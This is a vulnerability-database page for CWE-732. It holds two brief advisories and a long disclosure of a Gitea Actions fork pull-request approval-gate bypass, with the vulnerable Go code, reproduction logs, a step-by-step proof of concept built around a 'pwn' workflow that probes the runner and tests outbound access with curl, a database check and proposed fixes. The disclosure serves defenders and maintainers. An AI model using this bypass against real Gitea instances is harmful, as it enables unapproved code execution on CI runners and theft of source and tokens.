Common Weakness Enumeration

CWE-732

Allowed-with-Review

Incorrect Permission Assignment for Critical Resource

Abstraction: Class · Status: Draft

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

2097 vulnerabilities reference this CWE, most recent first.

GHSA-768R-2VMX-W6MF

Vulnerability from github – Published: 2022-11-18 00:30 – Updated: 2025-04-29 15:31
VLAI
Details

OPC Foundation Local Discovery Server (LDS) through 1.04.403.478 uses a hard-coded file path to a configuration file. This allows a normal user to create a malicious file that is loaded by LDS (running as a high-privilege user).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-44725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-17T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "OPC Foundation Local Discovery Server (LDS) through 1.04.403.478 uses a hard-coded file path to a configuration file. This allows a normal user to create a malicious file that is loaded by LDS (running as a high-privilege user).",
  "id": "GHSA-768r-2vmx-w6mf",
  "modified": "2025-04-29T15:31:14Z",
  "published": "2022-11-18T00:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44725"
    },
    {
      "type": "WEB",
      "url": "https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2022-44725.pdf"
    },
    {
      "type": "WEB",
      "url": "https://opcfoundation.org/developer-tools/samples-and-tools-unified-architecture/local-discovery-server-lds"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-76RW-6XCG-JRH4

Vulnerability from github – Published: 2026-05-12 12:32 – Updated: 2026-05-12 12:32
VLAI
Details

The application does not impose strict enough restrictions on directory access permissions, posing a risk that other malicious applications could obtain sensitive information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-32684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T11:16:19Z",
    "severity": "LOW"
  },
  "details": "The application does not impose strict enough restrictions on directory access permissions, posing a risk that other malicious applications could obtain sensitive information.",
  "id": "GHSA-76rw-6xcg-jrh4",
  "modified": "2026-05-12T12:32:16Z",
  "published": "2026-05-12T12:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32684"
    },
    {
      "type": "WEB",
      "url": "https://pinfo.hikvision.com/hkwsen/unzip/20260511114030_14652_doc/GUID-A47A8570-631E-4F62-BCEE-37E9F2983DD7.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-777R-4V59-6486

Vulnerability from github – Published: 2026-07-21 20:35 – Updated: 2026-07-21 20:35
VLAI
Summary
Gitea: Permanent Fork PR Workflow Approval Gate Bypass
Details
Field Value
Identifier (researcher-assigned) GITEA-2026-004
Product Gitea (self-hosted Git service)
Component Gitea Actions — fork pull request approval gate
Affected versions All Gitea releases v1.20.0 and later, including the latest main (1.27.0+dev-289-gb7e95cc48c). The buggy logic was introduced in commit edf98a2dc3"Require approval to run actions for fork pull request (#22803)", 2023-02-24 — and has shipped unchanged since.
Fixed in not yet (this disclosure)
Authentication required Yes — one unprivileged Gitea account capable of forking the target repository (the default ability for every authenticated user)
User interaction required Exactly once — a repository administrator must approve a single benign fork PR's workflow run from the attacker. After that, no further interaction is ever required for any future fork PR from the same attacker on the same repository.
Discovered by Prakhar Porwal — prakharporwal2004@gmail.com
Live-verified on Gitea main at commit b7e95cc48cc0e0d6fe24c89bb83da5b84a74490f, 2026-05-24

1. Executive summary

Gitea Actions enforces an approval gate on workflow runs triggered by fork pull requests, so that an untrusted contributor cannot execute arbitrary workflow YAML on the maintainer's runner infrastructure without explicit consent. The gate is implemented by ifNeedApproval() in services/actions/notifier_helper.go. Its final clause skips the gate whenever the triggering user has any previously-approved run in the same repository:

// services/actions/notifier_helper.go:423-433
if count, err := db.Count[actions_model.ActionRun](ctx, actions_model.FindRunOptions{
    RepoID:        repo.ID,
    TriggerUserID: user.ID,
    Approved:      true,
}); err != nil {
    return false, fmt.Errorf("CountRuns: %w", err)
} else if count > 0 {
    log.Trace("do not need approval because user %d has been approved before", user.ID)
    return false, nil
}

The check is scoped to (repo_id, trigger_user_id) only. It does not consider the pull request, the head commit, the workflow file contents, or any time window. The single approval click on a contributor's first fork PR is therefore interpreted by Gitea as "this user is permanently trusted to execute any workflow YAML on this repository's CI infrastructure forever" — for every future PR, on any branch, against any commit, regardless of what the workflow does.

This is a structural deviation from the documented intent — the in-source comment on the bypassing path reads "if it's the first time user … triggered actions", implying a per-action-trigger check that the code does not actually perform. It is also a deviation from the equivalent behavior on the platform Gitea Actions is modeled after (GitHub Actions), where the first-contributor gate persists until a PR is merged, not merely approved-to-run.

I have live-reproduced the bypass end-to-end against a current main build. With zero further interaction from the maintainer after the one-time approval, an attacker's second PR's workflow:

  • Was created with need_approval = 0 and approved_by = 0 in the action_run table (i.e. nobody ever approved it, and yet it was not gated).
  • Was dispatched to the runner immediately.
  • Executed arbitrary shell on the runner, with outbound network access, a populated GITHUB_TOKEN, and access to the cloned source.

Full receipts are in §3.


2. Affected code

Primary

services/actions/notifier_helper.go:401-438 — the ifNeedApproval function:

func ifNeedApproval(ctx context.Context, run *actions_model.ActionRun,
                    repo *repo_model.Repository, user *user_model.User) (bool, error) {
    // 1. don't need approval if it's not a fork PR
    // 2. don't need approval if the event is `pull_request_target` since the
    //    workflow will run in the context of base branch
    if !run.IsForkPullRequest ||
       run.TriggerEvent == actions_module.GithubEventPullRequestTarget {
        return false, nil
    }

    // always need approval if the user is restricted
    if user.IsRestricted {
        return true, nil
    }

    // don't need approval if the user can write
    if perm, err := access_model.GetDoerRepoPermission(ctx, repo, user); err != nil {
        return false, fmt.Errorf("GetDoerRepoPermission: %w", err)
    } else if perm.CanWrite(unit_model.TypeActions) {
        return false, nil
    }

    // ===== VULNERABLE BLOCK ==================================================
    // don't need approval if the user has been approved before
    if count, err := db.Count[actions_model.ActionRun](ctx, actions_model.FindRunOptions{
        RepoID:        repo.ID,
        TriggerUserID: user.ID,
        Approved:      true,
    }); err != nil {
        return false, fmt.Errorf("CountRuns: %w", err)
    } else if count > 0 {
        return false, nil   // <-- permanent, unscoped bypass
    }
    // =========================================================================

    return true, nil
}

Called from handleWorkflows() (services/actions/notifier_helper.go:339) for every workflow run created in response to a fork PR; the return value populates the NeedApproval column on the action_run row.

Supporting

  • models/actions/run_list.go:84-86 — the FindRunOptions.Approved filter resolves to approved_by > 0: go if opts.Approved { cond = cond.And(builder.Gt{"`action_run`.approved_by": 0}) }
  • services/actions/approve.go:25-27 — the only writer of ApprovedBy, called when a repo admin clicks Approve on a run: go run.NeedApproval = false run.ApprovedBy = doer.ID if err := actions_model.UpdateRun(ctx, run, "need_approval", "approved_by"); err != nil {
  • models/actions/run.go:44-45 — schema: go NeedApproval bool // may need approval if it's a fork pull request ApprovedBy int64 `xorm:"index"` // who approved

There is no other writer of ApprovedBy, and no resetter for NeedApproval once a PR has been approved. The historical row is permanent and unconditional.


3. Live reproduction — receipts

The following was performed end-to-end against main on the date noted. Two accounts were used:

  • admin (uid 1) — repository owner playing the maintainer
  • admin2 (uid 3) — second account playing the attacker

A fork-mode gitea-runner v1.0.6 was registered with ubuntu-latest:host to enable on-host execution.

Phase Action Resulting action_run row
1 admin creates admin/base-repo with .gitea/workflows/ci.yml (echo hello baseline)
2 admin2 forks the repo
3 admin2 opens PR #1 with a one-line README edit (no workflow change) run #5 created, need_approval = 1, status = Blocked
4 admin clicks Approve and run workflows on PR #1 run #5 updates: need_approval = 0, approved_by = 1 (admin), status → Success
5 admin2 opens PR #3 from a brand-new branch (bypass-clean) whose only change is .gitea/workflows/ci.yml rewritten to a malicious payload (loud echo + curl + id + ls -la) run #6 created, need_approval = 0, approved_by = 0 — gate skipped at creation
runner dispatches run #6 within seconds, no maintainer interaction at all run #6 → status = Success

Final action_run table contents (queried directly from SQLite)

id  triggered_by_uid  need_approval  approved_by_uid  status_text  ref               sha
--  ----------------  -------------  ---------------  -----------  ----------------  --------
5   3                 0              1                Success      refs/pull/1/head  463c9114
6   3                 0              0                Success      refs/pull/3/head  70db2b9e

Row 6 is the smoking gun: triggered_by is admin2 (the attacker), approved_by is 0 (no one ever clicked Approve), need_approval is 0 (the gate was never engaged in the first place), and the workflow ran to completion. The row is schema-indistinguishable from a legitimate trusted-user run.

Actual payload log from run #6 (verbatim from /api/v1/repos/admin/base-repo/actions/jobs/6/logs)

2026-05-23T21:38:53Z local-demo-runner(version:v1.0.6) received task 2 of job test, be triggered by event: pull_request
2026-05-23T21:38:53Z workflow prepared
2026-05-23T21:38:53Z Run Main pwn
...
2026-05-23T21:38:53Z env:
2026-05-23T21:38:53Z   BASE_TOKEN: ***
2026-05-23T21:38:53Z ===== BYPASS DEMO - this workflow ran WITHOUT approval =====
2026-05-23T21:38:53Z running as: uid=501(prakharporwal) gid=20(staff) groups=20(staff),12(everyone),...
2026-05-23T21:38:53Z hostname:   PRAKHARs-MacBook-Air.local
2026-05-23T21:38:53Z uname:      Darwin PRAKHARs-MacBook-Air.local 25.5.0 Darwin Kernel Version 25.5.0...
2026-05-23T21:38:53Z GITHUB_TOKEN length = 40
2026-05-23T21:38:53Z outbound network test:
2026-05-23T21:38:53Z   HTTP 200
2026-05-23T21:38:53Z repo contents:
2026-05-23T21:38:53Z total 0
2026-05-23T21:38:53Z drwxr-xr-x  2 prakharporwal  staff   64 24 May 03:08 .
2026-05-23T21:38:53Z drwxr-xr-x  5 prakharporwal  staff  160 24 May 03:08 ..
2026-05-23T21:38:53Z ===== END DEMO =====
2026-05-23T21:38:53Z Job succeeded

Confirmed: arbitrary shell execution on the runner, populated GITHUB_TOKEN (40 chars), live outbound HTTPS (HTTP 200 to example.com), all triggered by an unapproved second fork PR.


4. Root cause analysis

The logic embodies a misreading of the unit of trust.

Intended (per comment on line 436) Actually implemented
Approval is required the first time a user triggers actions. Approval is required the very first time a user triggers actions and never again.
The unit of trust is the work being approved (the PR, or the commit). The unit of trust is the user's identity, scoped to the repository.

The query at line 424 does not include PullRequestID, Ref, CommitSHA, or any time predicate. The action_run row's Ref and CommitSHA fields are not consulted. Once approved_by > 0 appears on any historical row for (repo_id, trigger_user_id), the gate is monotonically skipped forever.

Concretely, the divergence is observable across these scenarios:

Scenario Intended Implemented
Same PR, new commit on the same branch Re-run uses existing approval (PR-scoped) Auto-approved (user-scoped) ✓
Same PR, force-push that replaces the workflow file Re-approval requested Auto-approved ✗
Brand-new PR from same user, different workflow Approval requested Auto-approved ✗ — the vulnerability
New PR from same user months later Approval requested Auto-approved ✗
Hundred PRs from same user in parallel Only the first is the gate check; subsequent depend on policy Only the very first ever needs approval ✗

For comparison, GitHub Actions' first-time-contributor gate persists until a PR is merged, not until a PR is approved-to-run; GitHub additionally supports per-PR re-approval as a separate setting. The Gitea code path does neither.

A secondary contributor is the coarse semantics of FindRunOptions.Approved: a single boolean (approved_by > 0) with no per-PR/per-commit predicate available. The fix therefore needs both a call-site change and a query-options extension.


5. Impact

Dimension Detail
Arbitrary code execution on the runner Attacker controls run: blocks dispatched to the project's CI compute, with whatever ambient privileges the runner has (shell, network, filesystem). Verified end-to-end above.
Source code disclosure The runner clones the base repository read-only. A malicious workflow can exfiltrate it via any outbound channel — material confidentiality breach if the repo is private.
Actions cache poisoning Actions cache entries are keyed and shared across branches/refs within a repo. A poisoned cache is restored into trusted (non-fork) runs that subsequently execute on the base branch — escaping the fork sandbox transitively, and at that point with full secret access.
Artifact poisoning Workflow artifacts can be downloaded by other runs, including base-branch deploy workflows.
Runner host compromise If the runner is long-lived (not ephemeral) or shares state across jobs (filesystem leftovers, mounted Docker socket, sudoers entry for the runner user), the attacker can plant persistence.
Network pivoting Many self-hosted runners live inside corporate networks with reach to internal services that would otherwise be unreachable from the public internet.
Resource abuse Cryptomining, denial-of-service of the CI infrastructure, bandwidth abuse.
No audit signal The bypassed run row has approved_by = 0 and need_approval = falseschema-indistinguishable from a legitimate trusted-user run. There is no log line, no webhook event, no UI banner stating that the approval gate was skipped (only that it wasn't needed).
Scope Every repository that accepts fork pull requests and has Actions enabled. Public OSS projects are most exposed because anyone can open a PR. Internal corporate repos that accept fork PRs from contractors / interns / outside collaborators are equally exposed once a single such PR has been approved historically.
Defense-in-depth bypass The approval gate is the only line of defense between untrusted PR YAML and CI execution on regular pull_request events. Remaining mitigations — per-fork-PR GITEA_TOKEN scoping (models/actions/token_permissions.go:54-57) and secret omission (models/secret/secret.go:160-165) — reduce blast radius but do not prevent code execution.

6. Manual reproduction (web UI only, ~10 minutes)

This procedure uses only the Gitea web interface — no curl, no git CLI, no API tokens. It is intended for the maintainer security team to verify the vulnerability on a fresh instance.

Prerequisites

  1. A Gitea instance with Actions enabled ([actions] ENABLED = true in app.ini).
  2. One Actions runner registered and online with the ubuntu-latest label (optional — see note at the end of this section).
  3. Two user accounts:
  4. maintainer — will own the target repository.
  5. attacker — any unprivileged second account; registered through normal sign-up; no special privileges required.
  6. Two browser sessions: a normal window for maintainer, and a private/incognito window for attacker. Do not flip between them in the same window.

Phase 1 — maintainer creates the target repository

  1. Log into Gitea as maintainer.
  2. Top-right +New Repository.
  3. Owner = maintainer, Name = gate-bypass-poc, Visibility = Public, ☑ Initialize Repository, Default Branch = main. Click Create Repository.
  4. On the repo home, click the + icon in the file tree → New File.
  5. In the path field type: .gitea/workflows/ci.yml
  6. Paste the following into the editor — name: must be at column 0 with no leading whitespace: yaml name: CI on: [pull_request] jobs: test: runs-on: [ubuntu-latest] steps: - name: hello run: echo "hello from gate-bypass-poc baseline"
  7. Scroll down → Commit directly to mainCommit Changes.

Phase 2 — attacker forks the repository

  1. Switch to the attacker window. Log in.
  2. Navigate to …/maintainer/gate-bypass-poc.
  3. Click Fork (top-right). Accept defaults (owner = attacker). Click Fork Repository.

Phase 3 — attacker opens a benign PR (PR #1)

  1. On …/attacker/gate-bypass-poc, click README.md → pencil icon to edit.
  2. Add any innocuous line (e.g. Small typo fix.).
  3. Scroll down → select Create a new branch for this commit and start a pull request → branch name benign-typo. Click Propose File Change.
  4. On the pre-filled "Open a new pull request" form, leave defaults and click Create Pull Request.
  5. You should land on …/maintainer/gate-bypass-poc/pulls/1.

Phase 4 — maintainer approves the first run (the one-time trust event)

  1. Switch to the maintainer window. Open …/maintainer/gate-bypass-poc/pulls/1.
  2. Scroll to the status checks section. You will see the yellow banner:

    Workflow runs from fork pull requests need approval to run [ Approve and run workflows ]

  3. Before clicking, open a second tab on …/maintainer/gate-bypass-poc/actions. The workflow run "Small typo fix" should be displayed with status Blocked. This is the gate working correctly for a first-time contributor.
  4. Return to the PR tab. Click Approve and run workflows. The banner disappears; the run transitions to WaitingRunningSuccess (or stays at Waiting if no runner is online — irrelevant for the bypass demonstration).

Phase 5 — attacker opens a second PR (PR #2) with a malicious workflow change

  1. Switch back to the attacker window.
  2. On …/attacker/gate-bypass-poc, navigate to .gitea/workflows/ci.yml via the file tree. Click the pencil icon to edit.
  3. Replace the entire file with the following (name: flush left, no leading whitespace anywhere): yaml name: CI on: [pull_request] jobs: test: runs-on: [ubuntu-latest] steps: - name: pwn env: BASE_TOKEN: ${{ github.token }} run: | echo "===== BYPASS DEMO - this workflow ran WITHOUT approval =====" echo "running as: $(id 2>/dev/null || echo n/a)" echo "hostname: $(hostname 2>/dev/null || echo n/a)" echo "uname: $(uname -a 2>/dev/null || echo n/a)" echo "GITHUB_TOKEN length = ${#BASE_TOKEN}" curl -fsS --max-time 5 https://example.com/ -o /dev/null -w "egress HTTP %{http_code}\n" || echo "(no network)" ls -la echo "===== END DEMO ====="
  4. Scroll down → select Create a new branch for this commit and start a pull request → branch name bypass-payload. Click Propose File Change.
  5. On the pre-filled PR form, click Create Pull Request. You should land on …/maintainer/gate-bypass-poc/pulls/2.

Phase 6 — Observe the bypass

This is the critical observation.

  1. As maintainer, open …/maintainer/gate-bypass-poc/pulls/2. Scroll to the status checks section.
  2. Expected if the gate worked: the same yellow "Workflow runs from fork pull requests need approval to run" banner as in Phase 4.
  3. Actual: no banner. The check appears straight away as pending / running / green. No approval has been requested. maintainer was not notified.
  4. As maintainer, open …/maintainer/gate-bypass-poc/actions. The new run for "Update .gitea/workflows/ci.yml" is displayed with status Waiting / Running / Successnever Blocked.
  5. Click into the run → test job → pwn step. You will see the payload output (id, hostname, uname, token length, outbound HTTPS code, file listing) — the attacker's code executed end-to-end without your consent.

Note on the runner

If no runner is online and registered with the ubuntu-latest label, the bypass is still proven by step 1 of Phase 6 (no banner) and step 2 (status Waiting instead of Blocked). The runner only matters for visualising the payload's output. The status transition Blocked → Waiting for an unapproved second PR is itself the security signal — a gated run would remain Blocked indefinitely and the dispatcher would never look for a runner.

Note on the YAML formatting

If you copy the workflow YAML out of this document into the Gitea web editor and inadvertently keep any leading whitespace before name:, Gitea will reject the file with yaml: line 2: mapping values are not allowed in this context. No action_run row is created in that case (the workflow detector silently skips unparseable files), and the bypass will look like it didn't fire when in fact the code path was never reached. name: must sit at column 0.


7. Verifying the bypass in the database

Open a database shell on the Gitea host. The action_run table contains the smoking gun.

SQLite (default)

sqlite3 /var/lib/gitea/data/gitea.db
SELECT
  ar.id,
  ar.trigger_user_id,
  ar.need_approval,
  ar.approved_by,
  CASE ar.status
    WHEN 1 THEN 'Success' WHEN 2 THEN 'Failure' WHEN 3 THEN 'Cancelled'
    WHEN 4 THEN 'Skipped' WHEN 5 THEN 'Waiting' WHEN 6 THEN 'Running'
    WHEN 7 THEN 'Blocked' ELSE CAST(ar.status AS TEXT) END AS status,
  ar.ref
FROM action_run ar
JOIN repository r ON r.id = ar.repo_id
WHERE r.owner_name = 'maintainer' AND r.name = 'gate-bypass-poc'
ORDER BY ar.id;

Expected output after Phase 6:

id  trigger_user_id  need_approval  approved_by  status   ref
--  ---------------  -------------  -----------  -------  ----------------
N   <attacker uid>   0              <maint uid>  Success  refs/pull/1/head
N+1 <attacker uid>   0              0            Success  refs/pull/2/head

The N+1 row demonstrates the bypass: same trigger user, never approved (approved_by = 0), yet need_approval = 0 and executed successfully. This row is schema-indistinguishable from a normal trusted-user run; an audit pipeline scanning the table cannot tell the bypass apart from a legitimate write-permission user's run.

PostgreSQL / MySQL

The same query, against database_name, with \c gitea / USE gitea; first.


9. Suggested fixes

Three options, in order of preference.

Option A (recommended) — Scope approval to the commit, not the user

Extend FindRunOptions with a CommitSHA predicate (it already exists as the field at models/actions/run_list.go:70) and reframe the gate check as "has the current PR head SHA been approved by this user".

--- a/services/actions/notifier_helper.go
+++ b/services/actions/notifier_helper.go
@@
-    // don't need approval if the user has been approved before
-    if count, err := db.Count[actions_model.ActionRun](ctx, actions_model.FindRunOptions{
-        RepoID:        repo.ID,
-        TriggerUserID: user.ID,
-        Approved:      true,
-    }); err != nil {
-        return false, fmt.Errorf("CountRuns: %w", err)
-    } else if count > 0 {
-        return false, nil
-    }
+    // don't need approval if a prior run for this same PR-head commit was approved
+    if run.CommitSHA != "" {
+        if count, err := db.Count[actions_model.ActionRun](ctx, actions_model.FindRunOptions{
+            RepoID:        repo.ID,
+            TriggerUserID: user.ID,
+            CommitSHA:     run.CommitSHA,
+            Approved:      true,
+        }); err != nil {
+            return false, fmt.Errorf("CountRuns: %w", err)
+        } else if count > 0 {
+            return false, nil
+        }
+    }

This preserves the legitimate UX intent ("don't re-prompt on the same PR after a transient runner failure causes a re-run") without granting trust to future PRs or new commits on the same branch. Every new commit on the PR — including a force-push that replaces the workflow file — would re-trigger the gate, exactly as a security-sensitive deployment expects.

Option B (stricter) — Require a merged contribution, like GitHub

Replace the "approved before" branch with "has this user had a PR merged in this repo before":

if merged, err := issues_model.HasUserMergedPullRequestInRepo(ctx, repo.ID, user.ID); err != nil {
    return false, fmt.Errorf("HasUserMergedPullRequestInRepo: %w", err)
} else if merged {
    return false, nil
}

This matches the typical OSS-maintainer mental model: a contributor whose PR has been merged is trusted enough to run CI without further approval. Approving a workflow run is not merging code; the current logic conflates the two.


Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58424"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-732",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:35:51Z",
    "nvd_published_at": "2026-07-03T21:17:05Z",
    "severity": "HIGH"
  },
  "details": "| Field | Value |\n|-------|-------|\n| **Identifier (researcher-assigned)** | GITEA-2026-004 |\n| **Product** | Gitea (self-hosted Git service) |\n| **Component** | Gitea Actions \u2014 fork pull request approval gate |\n| **Affected versions** | All Gitea releases **`v1.20.0` and later**, including the latest `main` (`1.27.0+dev-289-gb7e95cc48c`). The buggy logic was introduced in commit `edf98a2dc3` \u2014 *\"Require approval to run actions for fork pull request (#22803)\"*, 2023-02-24 \u2014 and has shipped unchanged since. |\n| **Fixed in** | not yet (this disclosure) |\n| **Authentication required** | Yes \u2014 one unprivileged Gitea account capable of forking the target repository (the default ability for every authenticated user) |\n| **User interaction required** | Exactly **once** \u2014 a repository administrator must approve a single benign fork PR\u0027s workflow run from the attacker. After that, *no further interaction is ever required* for any future fork PR from the same attacker on the same repository. |\n| **Discovered by** | Prakhar Porwal \u2014 `prakharporwal2004@gmail.com` |\n| **Live-verified on** | Gitea `main` at commit `b7e95cc48cc0e0d6fe24c89bb83da5b84a74490f`, 2026-05-24 |\n\n---\n\n## 1. Executive summary\n\nGitea Actions enforces an approval gate on workflow runs triggered by fork pull requests, so that an untrusted contributor cannot execute arbitrary workflow YAML on the maintainer\u0027s runner infrastructure without explicit consent. The gate is implemented by `ifNeedApproval()` in `services/actions/notifier_helper.go`. Its final clause skips the gate whenever the triggering user has **any** previously-approved run in the same repository:\n\n```go\n// services/actions/notifier_helper.go:423-433\nif count, err := db.Count[actions_model.ActionRun](ctx, actions_model.FindRunOptions{\n    RepoID:        repo.ID,\n    TriggerUserID: user.ID,\n    Approved:      true,\n}); err != nil {\n    return false, fmt.Errorf(\"CountRuns: %w\", err)\n} else if count \u003e 0 {\n    log.Trace(\"do not need approval because user %d has been approved before\", user.ID)\n    return false, nil\n}\n```\n\nThe check is scoped to `(repo_id, trigger_user_id)` only. It does not consider the pull request, the head commit, the workflow file contents, or any time window. The single approval click on a contributor\u0027s *first* fork PR is therefore interpreted by Gitea as *\"this user is permanently trusted to execute any workflow YAML on this repository\u0027s CI infrastructure forever\"* \u2014 for every future PR, on any branch, against any commit, regardless of what the workflow does.\n\nThis is a structural deviation from the documented intent \u2014 the in-source comment on the bypassing path reads *\"if it\u0027s the first time user \u2026 triggered actions\"*, implying a per-action-trigger check that the code does not actually perform. It is also a deviation from the equivalent behavior on the platform Gitea Actions is modeled after (GitHub Actions), where the first-contributor gate persists until a PR is **merged**, not merely approved-to-run.\n\nI have live-reproduced the bypass end-to-end against a current `main` build. With **zero further interaction** from the maintainer after the one-time approval, an attacker\u0027s second PR\u0027s workflow:\n\n- Was created with `need_approval = 0` and `approved_by = 0` in the `action_run` table (i.e. nobody ever approved it, and yet it was not gated).\n- Was dispatched to the runner immediately.\n- Executed arbitrary shell on the runner, with outbound network access, a populated `GITHUB_TOKEN`, and access to the cloned source.\n\nFull receipts are in \u00a73.\n\n---\n\n## 2. Affected code\n\n### Primary\n\n**`services/actions/notifier_helper.go:401-438`** \u2014 the `ifNeedApproval` function:\n\n```go\nfunc ifNeedApproval(ctx context.Context, run *actions_model.ActionRun,\n                    repo *repo_model.Repository, user *user_model.User) (bool, error) {\n    // 1. don\u0027t need approval if it\u0027s not a fork PR\n    // 2. don\u0027t need approval if the event is `pull_request_target` since the\n    //    workflow will run in the context of base branch\n    if !run.IsForkPullRequest ||\n       run.TriggerEvent == actions_module.GithubEventPullRequestTarget {\n        return false, nil\n    }\n\n    // always need approval if the user is restricted\n    if user.IsRestricted {\n        return true, nil\n    }\n\n    // don\u0027t need approval if the user can write\n    if perm, err := access_model.GetDoerRepoPermission(ctx, repo, user); err != nil {\n        return false, fmt.Errorf(\"GetDoerRepoPermission: %w\", err)\n    } else if perm.CanWrite(unit_model.TypeActions) {\n        return false, nil\n    }\n\n    // ===== VULNERABLE BLOCK ==================================================\n    // don\u0027t need approval if the user has been approved before\n    if count, err := db.Count[actions_model.ActionRun](ctx, actions_model.FindRunOptions{\n        RepoID:        repo.ID,\n        TriggerUserID: user.ID,\n        Approved:      true,\n    }); err != nil {\n        return false, fmt.Errorf(\"CountRuns: %w\", err)\n    } else if count \u003e 0 {\n        return false, nil   // \u003c-- permanent, unscoped bypass\n    }\n    // =========================================================================\n\n    return true, nil\n}\n```\n\nCalled from `handleWorkflows()` (`services/actions/notifier_helper.go:339`) for every workflow run created in response to a fork PR; the return value populates the `NeedApproval` column on the `action_run` row.\n\n### Supporting\n\n- **`models/actions/run_list.go:84-86`** \u2014 the `FindRunOptions.Approved` filter resolves to `approved_by \u003e 0`:\n  ```go\n  if opts.Approved {\n      cond = cond.And(builder.Gt{\"`action_run`.approved_by\": 0})\n  }\n  ```\n- **`services/actions/approve.go:25-27`** \u2014 the only writer of `ApprovedBy`, called when a repo admin clicks Approve on a run:\n  ```go\n  run.NeedApproval = false\n  run.ApprovedBy = doer.ID\n  if err := actions_model.UpdateRun(ctx, run, \"need_approval\", \"approved_by\"); err != nil {\n  ```\n- **`models/actions/run.go:44-45`** \u2014 schema:\n  ```go\n  NeedApproval bool                // may need approval if it\u0027s a fork pull request\n  ApprovedBy   int64 `xorm:\"index\"` // who approved\n  ```\n\nThere is no other writer of `ApprovedBy`, and no resetter for `NeedApproval` once a PR has been approved. The historical row is permanent and unconditional.\n\n---\n\n## 3. Live reproduction \u2014 receipts\n\nThe following was performed end-to-end against `main` on the date noted. Two accounts were used:\n\n- `admin` (uid 1) \u2014 repository owner playing the maintainer\n- `admin2` (uid 3) \u2014 second account playing the attacker\n\nA fork-mode `gitea-runner v1.0.6` was registered with `ubuntu-latest:host` to enable on-host execution.\n\n| Phase | Action | Resulting `action_run` row |\n|-------|--------|---------------------------|\n| 1 | `admin` creates `admin/base-repo` with `.gitea/workflows/ci.yml` (`echo hello` baseline) | \u2014 |\n| 2 | `admin2` forks the repo | \u2014 |\n| 3 | `admin2` opens PR #1 with a one-line README edit (no workflow change) | run #5 created, `need_approval = 1`, status = `Blocked` |\n| 4 | `admin` clicks **Approve and run workflows** on PR #1 | run #5 updates: `need_approval = 0`, `approved_by = 1` (admin), status \u2192 `Success` |\n| 5 | `admin2` opens PR #3 from a **brand-new branch** (`bypass-clean`) whose only change is `.gitea/workflows/ci.yml` rewritten to a malicious payload (loud `echo` + `curl` + `id` + `ls -la`) | **run #6 created, `need_approval = 0`, `approved_by = 0`** \u2014 gate skipped at creation |\n| \u2014 | runner dispatches run #6 within seconds, no maintainer interaction at all | run #6 \u2192 status = `Success` |\n\n### Final `action_run` table contents (queried directly from SQLite)\n\n```\nid  triggered_by_uid  need_approval  approved_by_uid  status_text  ref               sha\n--  ----------------  -------------  ---------------  -----------  ----------------  --------\n5   3                 0              1                Success      refs/pull/1/head  463c9114\n6   3                 0              0                Success      refs/pull/3/head  70db2b9e\n```\n\nRow 6 is the smoking gun: `triggered_by` is `admin2` (the attacker), `approved_by` is **0** (no one ever clicked Approve), `need_approval` is **0** (the gate was never engaged in the first place), and the workflow ran to completion. The row is schema-indistinguishable from a legitimate trusted-user run.\n\n### Actual payload log from run #6 (verbatim from `/api/v1/repos/admin/base-repo/actions/jobs/6/logs`)\n\n```\n2026-05-23T21:38:53Z local-demo-runner(version:v1.0.6) received task 2 of job test, be triggered by event: pull_request\n2026-05-23T21:38:53Z workflow prepared\n2026-05-23T21:38:53Z Run Main pwn\n...\n2026-05-23T21:38:53Z env:\n2026-05-23T21:38:53Z   BASE_TOKEN: ***\n2026-05-23T21:38:53Z ===== BYPASS DEMO - this workflow ran WITHOUT approval =====\n2026-05-23T21:38:53Z running as: uid=501(prakharporwal) gid=20(staff) groups=20(staff),12(everyone),...\n2026-05-23T21:38:53Z hostname:   PRAKHARs-MacBook-Air.local\n2026-05-23T21:38:53Z uname:      Darwin PRAKHARs-MacBook-Air.local 25.5.0 Darwin Kernel Version 25.5.0...\n2026-05-23T21:38:53Z GITHUB_TOKEN length = 40\n2026-05-23T21:38:53Z outbound network test:\n2026-05-23T21:38:53Z   HTTP 200\n2026-05-23T21:38:53Z repo contents:\n2026-05-23T21:38:53Z total 0\n2026-05-23T21:38:53Z drwxr-xr-x  2 prakharporwal  staff   64 24 May 03:08 .\n2026-05-23T21:38:53Z drwxr-xr-x  5 prakharporwal  staff  160 24 May 03:08 ..\n2026-05-23T21:38:53Z ===== END DEMO =====\n2026-05-23T21:38:53Z Job succeeded\n```\n\nConfirmed: arbitrary shell execution on the runner, populated `GITHUB_TOKEN` (40 chars), live outbound HTTPS (HTTP 200 to example.com), all triggered by an unapproved second fork PR.\n\n---\n\n## 4. Root cause analysis\n\nThe logic embodies a misreading of the unit of trust.\n\n| Intended (per comment on line 436) | Actually implemented |\n|-----------------------------------|---------------------|\n| Approval is required *the first time* a user triggers actions. | Approval is required *the very first time* 